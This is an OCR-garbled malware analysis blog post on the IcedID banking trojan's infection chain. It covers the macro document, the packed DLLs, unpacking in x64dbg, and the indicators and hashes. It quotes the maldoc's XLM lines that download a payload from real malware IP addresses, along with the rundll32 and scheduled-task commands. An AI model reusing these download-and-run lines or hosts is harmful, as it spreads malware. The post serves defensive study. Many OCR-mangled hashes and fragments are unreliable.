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IcedID aka (BokBot) is banking malware designed to steal financial information. Lunar Spider is the threat actor behind

IcedID which they’ve been running campaigns since at least 2017. Beside stealing banking information, some incident show

that IcedID is an entry stage to ransomware or RAT attack. It’s been observed lately that the threat actor has been using new

techniques to evade detection by endpoint security, sandbox, and anti-reversing. Which makes it interesting to try dissecting

samples to find out indicators and other artifacts that could be missed by security tools.

In this post, will take a look at IcedID sample that’s been posted on Malware-traffic-analysis.net. Will walkthrough each

artifact to learn how to unpack the hidden malicious binaries. These techniques would also work on other IcedID samples

that has been found lately.

behaviour overview

Threat actor send an email with attached ZIP archived including maldoc either MS Word or Excel spreadsheet. When

opening the the maldoc it asks to enable macros. Once enabled two function happens first download a DLL file and run it in

a process using ‘rundll32.exe’. The downloaded DLL has unknown extension. After running in process, the DLL file

‘Installer’ does mainly two things: download a GZIP compressed binary and install it. The GZIP might have zip extension,

but it can’t be open or extracted with any archived tool. The GZIP mainly a dropper, it’s packed with two binaries. without

further ado let’s get started with the below artifacts.

File Name Description  File Type
Excel
82025721897 03192021.xlsm  Maldoc
spreadsheet
Installer
Kiod.hod DLL
DLL
. Temporary
suit 32.tmp DLL
DLL
Persistent
Oxiwko.dll DLL
DLL
DLL!
license.dat IcedID
(encrypted)

Table 1, List of IcedID artifacts to analyze

SHA256

dcc45c82a484a420888aabe66588cbb1658ch2a7a5cc833b0438fa0€

d1634c8dd16b4b1480065039fac62d6c1900692f0cccIbf52c8ddc65S

b8502cc6fd41a558012e7ccd0a7f4e0ed5746bf106b8bf5b6a27ef9ch

48b72914126b6b4a3e5aefa9bc8d5eac1187543eb0fad2c98a70a2f2:

45b6349ee9d53278f350b59d4a2a28890bbe9f9de6565453db4c085I

e
T
J:Y'«' .
e R D d1634c8dd 16b4b 14800650; c62d6¢190069:
‘gj'/ . N D c8cab8a0025a7ab633: 3c9053cad49b1 7c8eaT 0
[£%) E« S
JO‘_ -" " D b8502cc6fd41a558012e7ccd0a7f4e0ed5746bf106b8bf5b6a27efocba18a9e3
D ad435db375665d157aed 16ba8b517. 17840
D/48b72914126b6b4a395aeh9bcad55ac1187543eb01342598a70a212ad07a60a
D €04101f36a7d1498379ff6abb2218a2730 25cd3664 18
D'A:M: 27 a 75865

‘ 66b6a55b67¢0201a02dbdc4aef3c3f2d57aaadbbefa61c1bcdb59b96086743

D 7459e88626a90b52¢3392a14734d00a5238edbf13¢6190739326df2d4c3f922

maldoc
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One of the most recognized templated of IcedID spreadsheet that hides beside it XLM 4.0 functions to download and run

process once hit Enable Content as typical maldoc.

x

d) Security Warning  Macros have been disabled. Enable Content

B35 - £ |

Fw e FEZ

For viewing/editing, perform the following steps:

(=R RN - B Rt SR

=
o

+ Click Enable editing button from the yellow bar above
+ Once you have enabled editing, please click Enable Content bytton from the yellow bar above

B e e B e e
BlRS&GRIEIRE

20

H 4 r M| sheet | sheetl sheetz %2 a4 _m » [

Figure 2, IcedID template

IcedID use “Auto_Open” function to execute the entire XLM (4.0) script. Moving between sheets and cells, it’s possible to

debug the function step-by-step, but what’s worthy is to get IOCs which is in clear text.

Host-based and Network-based I0Cs
-------- Shell Command --------------------
Rund1132 ..\Kiod.hod2,D11RegisterServer
-------- Contacted IP Addresses -----------
188.127.237.152
45.150.67.13
185.82.219.225

=CALL("URLMon", "URLDownloadToFileA", "JCCB", @, "http://188.127.237.152/44295.4021160879.dat", "..\Kiod.hod")
=CALL("URLMon", "URLDownloadToFileA", "JCCB", @, "http://45.150.67.13/44295.4021160879.dat", "..\Kiod.hod1")
=CALL("URLMon", "URLDownloadToFileA", "JCCB", @, "http://185.82.219.225/44295.4021160879.dat", "..\Kiod.hod2")

h Processes
® C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x8€)\Microsoft Office\Officel4\EXCEL.EXE" /dde C:\Users\Rdmin\AppData\Lccal\Temp\82025721897_03192021.x1lsm

" CA\Windows\SysWOW64\RundIl32.exe

Rundl132 ..\Kicd.hod, DllRegisterServer

® CA\Windows\SysWOW64\RundIl32.exe

Rundl132 ..\Kicd.hod2,Dl1RegisterS

Figure 3, Maldoc behavioral from Tria.ge sandbox

installer dll
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‘Kiod.hod’ is the name of the first stage IcedID execution in this sample. It’s a 64-bit DLL with MZ header running in a
‘rundll32’ create process from the maldoc. when checking the sample on Hatching Triage sandbox, the network shows
requests to ‘aws.amazon|[.Jcom‘ and ‘calldivorce][.]fun‘. The installer download a GZIP file and install it. It’s not possible to

view the network indicators when on statically analyzing this sample, nor when debugging it which is mostly sign of packed

executable.
v & Network
DNS aws.amazon.com

Remote address:
8.8.8.8:53

Request
aws.amazon.com IN A

Response

aws.amazon.com IN CNAME tp.B8e49140cZ-frontier.amazon.com
tp.B8e49140c2-frontier.amazon.com IN CNAME dr49lng3nlnZs.cloudfront.net
dr49lng3nlnZs.cloudfront.net IN A 13.227.208.72

GET https://aws.amazon.com/
DNS calldivorce.fun
DNS calldiverce.fun
DNS calldivorce.fun

Figure 4, Installer behavioral on tria.ge sandbox

There’s one library ‘kernel32.dll’ and no sign of imported APIs to help guide either statically or in debugger in order to
unleash any indicators. Simply loading the sample on x64dbg doesn’t work! There’re multiple ways to unpack the installer
DLL, however, the quick and possible way to unpack the binary by attaching the installer DLL to
(~Windows\System32\rundll32) in x64dbg like steps below:

1. x64dbg -> File -> Open -> C:\Windows\System32\rund1132.exe

2. xb4dbg -> File -> Change Command Line -> "C:\Windows\System32\rundl132.exe" "C:\Users\™\lab\Kiod.d11",D11RegisterServer
* no spaces except the single space between " " and copy the full DLL directory

** D11RegisterServer is the export function

3. After hitting ok, go to Options -> Preferences -> Events tab -> check ¢ DLL Entry

4. Hit F9 (few seconds and pause)

Directly after pausing you can notice see the register ‘R14’ got PE sign and ready to Save Memory Region by dump it from
Memory Map. The unpacked executable seems to be unmapped to memory and no changes required to addresses on the

sections headers.

9 |

[ Change Command Line b4
5
= |.|n|:|||32.exe" "C:Wsers\REM\Desktopabjced\analysis\Kiod. dI™ DR egisterServer
M

oK Cancel
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SEsultaws tall GPBE N

[ 4

By @ooph  [Glg  [INotes  © Brecgonts  iMemoryMep () CalStak  SHSEd  [o/sapt @ symbos < Sowce S References W Tweads ) Snowman o Handles
o~ || wide FPu

RAX 0000000000000000
REX  0000000000000000
RCX  00007FFAESD7CD74

ntd11.00007FFAEED7CD74

NtQueryDirect:
e ROX  0000000000000000

E
08 03 Fe REP  000000C7B3E7FACO

RSP  000000C7B3E7F3CS
RSI  0000000000000000
00000000000003E8 L

0| nop e
mov r10,rcx erysystentnformat

7| test byte p

.
& b
g5 &
; & = oo =foforla
H 4 Hoom = , SR LastError 00000000 (ERROR_SUCCESS)
Pt b 5~ [oefot s ostea <15 ]I oo

TCX 00007FFAEED7CD74 MEd11. 00007FFAESD7CD74
Fdx 0000000000000000
F§ 000000C783E7F3C8
£S5 000000C783E7F4C0

Woump2  @oum3  Eoumps

ieitocts ) fruct /

SCIT y Anpy
cra _— :
okt ot
aofod
et
aie
ol ]
2ajoofoajonjoo
el
E AR
EHE HREHE o
ol
et
'Y byte: I
s 0 &8 9 2 &
51234567809 a8¢CDEE
440 48 53 ZC 38 83 TR 01 75 17 48 83 €4 24 28 00 4C
450 6D 08 AA FF FE TT 63 €4 24 20 00 45 33 €3 33 02
460 33 C3 FF 15 20 27 00 00 38 01 00 00 00 48 83 Ca
470 38 C3 GG CC 48 8B G4 48 89 58 08 48 89 70 10 57
480 45 23 ZC 4 48 23 €0 T2 00 45 5B F2 48 2B DA €
450 0 %080 00 00 00 45 33 CO C7 40 DA 02 00 00 00
4A0 BA 00 00 00 40 45 33 €5 FF 15 B2 2F 00 00 48 EB
40 FO 48 83 Fa TF 74 36 48 83 €4 24 20 00 4C 8D 4G
Disasm: text  General  DOSHdr  RichHdr  FileHdr  Optional Hdr  Section Hdrs Exports Imports Exception
+ w
Name Raw Addr. Rawsize Virtual Addr. Virtual Size Characteristics Ptrto Reloc.  Num. of Reloc.  Num. of Linenum.,
et 400 1600 1000 1443 60000020 0 0 0
bss 0 0 3000 8 C0000080 0 0 0
adata 1400 ADD 4000 9CE 40000040 0 o 0
data 2400 200 5000 80 C0000040 0 0 0
.pdata 2600 200 6000 B4 40000040 0 0 0
Raw & X Virtual & %
A TBsd]
480
Ttext] 1000
= B
3000
b
1800 [bss]
[.rdata] [-rdata]
5000
58 Tdata]
FT aﬁh 6000
Tpdatal
L]
s 5 B 0 g ®
6125385678 09A8CDET
440 48 33 3C 33 83 TR 01 78 1F 48 23 24 24 28 00 4C
450 8D 05 AA FF FE FF 83 64 24 20 00 45 33 €9 33 D2
sén 33 o3 FE 15 20 2% 00 00 32 01 6o 00 6 48 33 ca
470 38 C3 GG CC 48 6B C¢ 48 39 58 0 48 83 70 10 57
40 48 53 3C 4 ac 53 €0 =6 oo 45 2B TS 42 98 DA C7
450 40 %0 80 00 00 00 45 33 CO G7 40 DB 62 00 0O 00
420 BR 58 00 50 40 45 33 5 FF 15 B2 2§ 00 00 43 83
430 %0 4 83 F3 FF 74 3¢ 48 83 €4 24 20 00 4C 8D 4C
Disasm: .text General DOS Hdr Rich Hdr File Hdr Optional Hdr Section Hdrs. Exports Imports Exception
-+ B
Offset Name Func. Count Bound? OriginalFirstThun TimeDateStamp  Forwarder NameRVA FirstThunk
1EB8 SHELL32.dlIl 1 FALSE 4618 0 o 46D4 40D0
1ECC USER3Z.dIl 2 FALSE 4628 0 0 46F8 A0E0
1EED ADVAPIZ2.dII 2 FALSE 4548 0 0 AT2A 4000
1EF4 KERMEL32.dll 2 FALSE 4360 0 0 488F 4018
1F08 WINHTTP.dlIl 12 FALSE 4540 0 0 4942 A0F8
1FI1C msvert.dil 2 FALSE 4648 0 0 49C2 4160
< >
SHELL32.dIl [1entry]
Callvia Name Ordinal Original Thunk  Thunk Forwarder Hint
4000 SHGetFolderPat... - 46C0 46C0 - 133 .
.

P

Figure 5, unpack IcedID installer

Unpacked Installer - unpacked file
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SHA256: 7459E88626A90B52C3392A14734D0@A5238EDBF13C61907F39326DF2D4C3F922
HOST IO0C: C:\ProgramData\
Network IOC: aws.amazon.com

calldivorce.fun/~[GZIP file]

submitted sample on (9 April 2021)
23/61 VT: https://www.virustotal.com/qui/file/7459¢88626a90b52c3392a14734d00a5238edbf13c61907139326df2d4c3f922/detection
10/10 Triage: https://tria.ge/210409-af3skeevmx/behavioral2

other highlighted I0Cs
Libraries

winhttp.dll
Imports (APIs)
LookupAccountNameW ,advapi32.dll
WinHttpQueryDataAvailable,winhttp.dll
WinHttpConnect,winhttp.dll
WinHttpSetStatusCallback,winhttp.dll
WinHttpSendRequest,winhttp.dll
WinHttpCloseHandle,winhttp.dll
WinHttpSetOption,winhttp.dll
WinHttpOpenRequest,winhttp.dll
WinHttpReadData,winhttp.dll
WinHttpQueryHeaders,winhttp.dll
WinHttpOpen, network,winhttp.dll
WinHttpReceiveResponse,winhttp.dll
WinHttpQueryOption,winhttp.dll
CreateProcessA, kernel32.d11
SwitchToThread, kernel32.d11l

It’s clear what APIs and libraries the original packed installer hiding which is detectable by any endpoint security as can see
in Pestudio. Further disassembling with Cutter 2.0.0 the unpacked DLL to get indicators.

Edr - - i iced-koid- installer.dil] =) e )
file settings  about
?
ey o
a4 indicators (36) mds BGEAGBEOE4AFG4G36FBILT1 2FAI 56253
’? ug::‘v:a‘f(ﬁglsmg shat 7B246F50DDEICACDIFANCCETBISACI G5IABESM
o e i by e 459 5523302/ 4734 D00AS 38EDBFL3CE190TFI0326DF2DA C3FS
> rich-header (6] it b =
" fle headier (Feb.2021) shal-with lay  SEDFCESBJ3C0066E; )SERDID2482910F78
> optional-header (GUT) sha256-without-overlay BC3D86EBCAF1F72031 DBC67264898 D964 CDE84055E02BD08EFC18A5912189COA
8 directories (time-stamp) first-bytes-hex 4D 5440 00 03.00 00 00 04 00 00 00 FF FF 00,00 B8 00100100 00 00.00 00 40.00 00 00 0000 00 00.00
> sections (blacklist) first-bytes-text MZoc e i@
£ lora file-size 12285 (bytes)
2 imports ¢ size-vithout-overlay 10240 (bytes)
3 exports (DlRegisterServer) entropy asa1
& exceptions (19) imphash A121B662C147ET 0556377 C2729EBS60
-~ signature
ﬁ entry-point 4883 EC3883 FA(1751F 48836424 28004C 8D 05 AA FF FFFF8364 2420004533 C933D233
file-version
ae strings (146) description
] file-type dynamic-link-fibrary
& pu 64-bit
subsystem Gul
E vy ko) compiler-stamp 0x501BED8S (Thu Feb 04 01:25:28 2021)
! debugger-stamp
resources-stamp
exports-stamp OxFFFFFFFF (Sat Feb 06 22:28:15 2106)
version-stamp
certificate-stamp
.
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(] 2 =]

file _settings _about

users\analyst\desktop\lablunpacked\iced-Koi | name (41) group ®) ope@) ordinal §) | blackist(15)  anti-debug @) _undocumented 0) _ deprecated @) library 6) -
s ndicstors G6) [ steminformation impic sdvep2d
T e GeComptatints  optam rfonaion it el
dos-header (64 bytes) GetComputesNlameEsW  system-information implicit keme32.dil
oo GelfikCountst semnfomtion impict kemes21
e o) Loskupiccountamett  securty impict x cdvepzn
ey WintitpQuenDatadval.. network impic x vinhep i
e impict x vkl
sections (blecklist) implict x winttp.dil
s & Winbtepsendhequess nework impict x i i
e VinitgCloscinde  network impict x vinhtpdl
5 opors Oifgiternen impict x vinhepal =
§ exceptions 19) implicit x winhtp.dil
impict x winbp
» impict « i i
& impici x vinhtp
asc stiings (146) implicit x winhttp.dil
@ impic x vinkep.i
& impict kemeB21
@ implicit keme32.dil
FERORIN impici kemes21
o o implicit kemeB32.dil
impic vl
impict x el
gersns e impict X ama
[y fie impici a2
GelTemspatns fie impict emes21
witeie fie impic e
Gt e impict a2l
ascion impict « kemeb21
cction impici emerzal
. ez = cpuiGtbit_filtype dnamicnclbry _subsysem: UL entey-point 000NN signatue s
o [E=3 o
e setings _sbout
5 57 chusersianalysti deskiop\ab\unpackediced Kol | type ) size (bytes)  flewoffzet blackist (19) hint (15) group (10) value (146) -
s indicators (35) ascii 15 0:000018F) x x <\ProgramDatal
S s wicode 4 vasootess it netwerk
e s n oannces tie netnork
oo wiou vanaozse2 rie netnok
fle-header (Feb2021) = = L e
optionsl-header (GUD =i ¢ (HA000LEED L]
B dreciotes (e stomp wi 1 vonies: e
sections (blacklst) 1 000002004 file
£ tbrres 6 si 1 oancors fie
ISp— wi o w oanen2a e
5 export Oegitesere) wi 1w oanoose
§ exceptions 19) ascii pt) 000002302
. wicode 14 vanoton
wiw oansooid 5e 15100 cannot b DO o
wicode 15 oances
=i W oanaess « sem-nfomstion
i vanansco x sem-infomation
wi B oancoicss stem-infomation
: =i o o210 systen-iformtion
S =i W oanonct sem-nfomtion
13 overay (unknown) ascii u 000002106 systemeinformation
wi W vancezzrs stem-infomation
wi W oaneon07 x sty
=i oW vowneat gty
i oanannces « netnork
wi vanee x netnok
wiu oancozzsa x netwok
wi oanez2ce x network
i B oanooes x netnork
wi B vanoe x netnork ity Clesendic a
. ez o cpuGirbit_fie-ype dnamic ik bry _subsystes: GUL eney point CONCIOND_signature

Decompier (Empty) Baddrax

Graph Empty)
180202039

Figure 6, Pestudio and Cutter views of unpacked installer
TEMPORARY DLL

suit_32.tmp, is another 64-bit DLL. It dropped from GZIP with the ‘license.dat’ binary. Located in %temp% directory

C:\Users[username]\AppData\Local\Temp\suit_32.tmp
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The main purpose of this temporary DLL to initiate persistent with ‘license.dat’ and later copy itself to another directory for

persistent.
Run method: rundli32.exe [filename],update /i: ”LuxuryQuarter\license.dat”

This artifact is also well packed for evasion and anti-analysis purposes. like the ‘installer’ no libraries or API to get hint

where to breakpoint. To unpack :

1. Load 'suit_32.tmp' in x64dbg

2. Either single or over stepping till reaching [RtlExitUserProcess] API function
3. Check the stack or RDI register for MZ header.

4. Dump from Memory Map

The unpacked requires addresses matching because it were mapped to memory.

012345678 9ABCDETE
15BE 48 83 EC 38 83 FA 01 75 26 48 83 €4 24 28 00 4C
1SCE 8D 05 L6 0L 00 0O 83 €4 24 20 00 45 33 C3 48 89
15Da 0D 8B LC 00 00 33 D2 33 C3 §F 15 35 A 00 00 B3
1sEe 01 00 00 00 48 83 G4 38 €3 CC CC CC 48 83 EC 28
15¥s  EE 0B B9 8 03 00 00 §F 1S 83 OA 00 00 83 3D 54
1608 1C 00 00 0D 74 EC 33 €5 FF 1S 12 GR 00 00 CC CC
1618 42 89 SC 24 08 48 85 74 24 10 §7 48 83 EC 20 8B
1628 42 1a 4C 8B CS 48 SB FS 4C 8D 04 01 4C 2B 0A OF

Disasm:.tet  General  DOSHdr  RichHdr  FileHdr  Optional Hdr  SectionHdrs  ® Exports ™ Imports 8 Exception

+
Name  RawAddr. Rewsize Virtual Addr. Virtual Size Characteristics Ptrto Reloc. Num. of Reloc, Num. of Linenum.
et 800 1000 716 60000020 0 0 0
rdata 600 2000 288 40000040 0 0 0
data 400 3000 210 €0000040 0 0 0
pdata 200 4000 6C 40000040 0 0 0
Raw & X Virtual & x
1000 1000
158 Ttex] 158 Ttex]
2000 2000
[rdata] [rdata]
—| 3000 3000
= [ deta] [deta]
2 o0 4000
o Tpdatal Tpdatal
. undll32_fixed.dll Checkfor updates
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X 0 8 0
&
G 12345678 09ABCDEE
1588 48 83 EC 38 83 FA 01 75 2¢ 48 83 €4 24 28 00 4C
1508 8D 05 16 01 00 00 83 64 24 20 00 45 33 C5 48 85
15D8 0D 8B 1C 00 00 33 D2 33 C3 FF 15 39 A 00 00 B8
1SER 01 00 00 00 48 83 C4 38 C3 CC CC CC 48 83 EC 28
15§88 0B BS 8 03 00 00 Y 1S 53 OA 00 00 83 3D 54
1608 1C 00 00 00 74 EC 33 €3 FF 15 12 DA 00 00 CC CC
1618 48 85 SC 24 08 48 85 74 24 10 57 48 63 EC 20 88
1628 42 14 4C 8B C3 48 8B FS 4C 8D 04 01 4C 28 OA OF
Disasm: text General DOS Hdr Rich Hdr File Hdr Optional Hdr Section Hdrs. Exports Imports Exception
S 3
Name Func. Count Bound? OriginalFirstThun TimeDateStamp  Forwarder NameRVA FirstThunk
SHLWAPLdII 2 FALSE 22F0 0 0 2326 20A8
msvert.dil 1 FALSE 2308 0 0 2344 20C0
KERNEL32.dIl 18 FALSE 2248 0 0 2458 2000
SHELL32.dIl 1 FALSE 22e0 0 0 27C 2008
< >

SHLWAPLdIl [ 2 entries ]

Call via Name Ordinal Original Thunk  Thunk Forwarder Hint
2048 Strstri - 322 TFFFEDEST30 - 14
2080 StrChrA - 2318 TFFFE2DEDFI0 - 19

L]
L.l
[ ]

Figure 7, x64dbg to unpack temporary DLL

SHA256: AD435DB375665D157AED16BA8B51735B65AC6AEE86864DA78408B44C9D850938
HOST I0C: C:\ProgramData\
Network IOC: N/A

Summitted sample on (4 April 2021)
15/69 VT: https://www.virustotal.com/qui/file/ad435db375665d157aed16ba8b51735b65achaee86864da78408b44c9d85093b/detection
1/10 Triage: https://tria.ge/210403-1sm7qxep8n/behavioral2

Other highlighted IOCs
Imports (APIs)

VirtualProtect, Kernel32.d1ll
GetModuleFileNameA, Kernel32.d1l

As compared with the packed version there’s a new C2 based on Triage sandbox analysis!

v Processes

CAWindows\system32\rundll32.exe

v (@ Network

REQUESTS TCP ubp

104.73.144.113:443
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v Processes

CAWindows\system32\regsvr32.exe

v (& Network

REQUESTS TCP UDP

/update/ 10 Apr

it’s been brought up by community that the upper IPs are not C2s.

% James Quinn @lazyact

yeah both those look benign to me, it calls out to benign ips for analysis
environment checking (mainly mitm checks), which might be what you saw.

(i i

Persistent DLLL

‘Oxiwko.dll’, suppose to be a copy from the previous temporary DLL. Big picture from Entropy view and Pestudio shows
the resemblance. Which makes it easy to unpack this sample using same method above with the temporary DLL.

B pestuio 0 — o x

fle settings sbout

?

19D5172B1ABEEO26COFESFCIT3BB4824

» T3367ET3062DFCATE 5¢ i
. e sermente o) EOIECTRIICIOAOSs
BN dosstub (136 bytes) W dos-stub (136 bytes)
" rich-header (5) rich-header 5)
> file-header (Mer 2021) fle-header (Dec.2015)
(Native)

> optional-header (Native)
rectorie amp

fle-size 64000 (bytes)

ASSETSCERITTSCORMABOTRES

2 455950 240941 BA 01 0000004 8 G941 38 5207 855C 00000 CT 4424 1011 C7 14 005805
&
A d ta £k a dynamic.finkc b
& S —
ud = b 6 tit
= @
] o subsstem
compier-samp 0K86700048 (Tue Dec 15222355 2015)

] 0

GUSASBEC (Fri Mar 10035524 202

OKFFFFFFFF (Sun o6

. st o bbbt | ftyps dmaric e enty
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Size: Reload

5.98922 not packed Save diagram

Entropy ? =

0 5 > Reload

Entropy bitsfbyte): 6.00952 not packed Save diagram

100F%

Figure 8, Persistent DLL matching with temp DLL

SHA256: c04101f36a7d1498379ff6abb2218a2730ad896908e525cd3664ea5cc4ab6a18
HOST I0C: C:\ProgramData\
Network IOC: N/A

Summitted sample on VT and Tria.ge (9 April 2021)
21/69 VT: https://www.virustotal.com/qui/file/c04101f36a7d1498379ff6abb2218a2730ad896908e525cd3664ea5cc4ab6a18/detection
1/10 Triage: https://tria.ge/210409-tdel4edx32/static1

Other highlighted IOCs

Imports (APIs)

VirtualProtect, Kernel32.dll
GetModuleFileNameA, Kernel32.d1l
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There’s not any network indicator in either packed or unpacked which make sense, because the very purpose of this file is

persistent in Task Scheduler to load ‘license.dat’.

() Task Scheduler - | X
File Action View Help
s 7
@ Task Scheduler (Loca
> Task Scheduler Li

Name Status Triggers
(@ tiquya_(88029973-867C-F66A-882A-21A9774ABE27} Ready Multiple triggers defined

< >

General Triggers Actions Conditions Settings History (disabled)
When you create a task, you must specify the action that will occur when your task starts. To change
these actions, open the task property pages using the Properties command.

Action Details

Start a program  rundll32.exe "C\Users\user1\AppData\Roaming\user 1\{DE776E6E-9DD8- 3054-4698
FC561D987827\Oxiwko.dll",update /i"LuxuryQuarter\license.dat”

Figure 9, Persistent [snap from malware-traffic-analysis]

IcedID (license.dat)

Leaving the beast for last! Even-though it’s been summited to VT by early March 1st, 2021. It’s still unrecognized by many

vendors that ‘license.dat’ is the IcedID.

(1) 6 security vendors flagged this file as malicious (G,

-
6

45bé349ee9d53278f350b59d4a2a28890bbe?f?des565453db4c085bb5A75865 333.01KB 2021-04-06 09:11:13 UTC oo

icense dat Size s ago DLL

_ 9
x ommunity

Huge credit to BinaryDefense team for their efforts building the decryption tool for this part of IcedID and giving it a way

on Github.

The unknown ‘license.dat’ encrypted binary is running on Task Scheduler with the persistent DLL. As it turns out the
unknown binary is also 64-bit DLL. Unlike the previous DLL, this is different kind of beast and this is what IcedID
(BokBot) is all about. The decryption does a good job dissecting readable DLL from encrypted binary. However, due to very
complication of this part is only possible to disassemble it in IDA, Cutter and other kind of disassemble tools. It’s not
possible to debug it.

Never the less, it’s possible to reverse engineer the function with proper disassembler to unleash the behavior which by
looking at it’s API list seems to be detectable by Endpoints. The main functions of ‘license.dat’ is collecting host and user

information and connecting to C2.
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pestudio .09 - Malware Initial Assessment - e B ypt |_payloads\licensedat_fixed dll] - [u] X
file settings about
FHxB89
=T er\users\remidesktop\labllicenseliceddecrypt-rr | name (194) group (14) type (1) ordinal (18) blacklist (109)  anti-debug (0 A
i indicators (35) GetllativeSysteminto system-information implicit x
ZwQuenySystemlnformat... system-information implicit x
> dos-header (64 bytes) U terWait b i licit
8 dor e (144 ey nregisterWai synchronization implici x
RegisterWaitForSingle@b... synchronization implicit x
> rich-header (6)
QuevsUserabc
" file-header (Apr2021) ueueUserAPC synchronization implicit x
. optional-header (GU) QueryPerformancefrequ... synchronization implicit x
B directories (time-stamp) OpenProcessToken security implicit x
> sections (executables) GetSiddentifierAuthority  security implicit x
£ tibraries (12) GetSidSubAutherity security implicit x
GetSidSubAuthorityCount  security implicit x
2 exports (ordinal) LookupAccountNameW  security implicit x
# exceptions (21) ConvertSidToStringSidA  security implicit x
-0 AdjustTokenPrivileges security implicit x
§¥ relocations (108) LookupPrivilegeValueA  security implicit x
& ReqCreateKeyA registry implicit x
abc strings (4884) RegDeleteKeyA registry implicit x
L] RegSetValucExh registry implicit =
= RegDeleteValueA registry implicit x
WinHttpCloseHandle network implicit =
& ‘ - WinHittpOueryOption network implicit x
L3 overlay (unknown) WinHitpSetStatusCallback  network implicit x
WinHttpCrackUrl network implicit x
WinHttpOpen network implicit x
WinHttpReadData netwerk implicit x
WinHittpQueryDataAvaila... network implicit x
WinHittpSetOption network implicit x
WinHttpOpenRequest network implicit x
WinHittpSendRequest network implicit x
WinHttpReceiveResponse  network implicit x
WinHttpQueryHeaders network implicit x
WinHttpConnect network implicit x
GetAdaptersinfo network implicit x v
< 5 |« >
. sha256: 3552CT79F31A5B00DC78D JA3TDCE1ETS6CFTCOBECEEDECAECDO4CEBBEE cpu: 84-bit__ file-type: dynamic-link-library  subsystem: GUI ent
sub rsp, 28h
mov rl2d, rad
mov ebx, edx
mov réd, 8
1 dx, Stri ; "https://™
ea rdx, ring ; ttps://
mov rl4, ro9
mov rsi, rcx
call cs:5trCmpNIA
xor edi, edi
test eax, eax
jnz short loc_13@@81BEA
loc_18@881BEA:
mowv r8d, 8
lea rdx, aFront
mow rcx, rsi
call €s:5trCmpNIA
test eax, eax
jnz short loc_188601C2A
loc_l8e@81C2A:
mav réd, 7
lea rdx, aHttp
mov rcx, rsi
call cs:5trCmpNIA
test 2ax, eax
jnz short loc_158@01C43

Figure 10, Decrypted license.dat

SHA256: 66b6a55b67c0201a02dbdc4a2ef3c3f2d57aaadbbefablcTbcdb59b961b86743
submitted on VT and Triage on (9 April 2021)

16/67 VT: https://www.virustotal.com/qgui/file/66b6a55b67c0201a@2dbdc4a2ef3c3f2d57aaadbbefablc1bcdb59b96fb86743/detection
1/10 triage: https://tria.ge/210409-1satexfe4]j

Further analysis will be taken to further analyze IcedID campaigns in general and ‘license.dat’ in particular to further

understand its behavior.

TO BE CONTINUED....
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Don't you hate
"to be continueds" on TV?

Credit

To BinaryDefense, https:/www.binarydefense.com/icedid-gziploader-analysis/ for providing the decryption tool

To Malware Traffic Analysis, https://www.malware-traffic-analysis.net/ for the artifacts, WireShark packets

References

https://www.group-ib.com/blog/icedid
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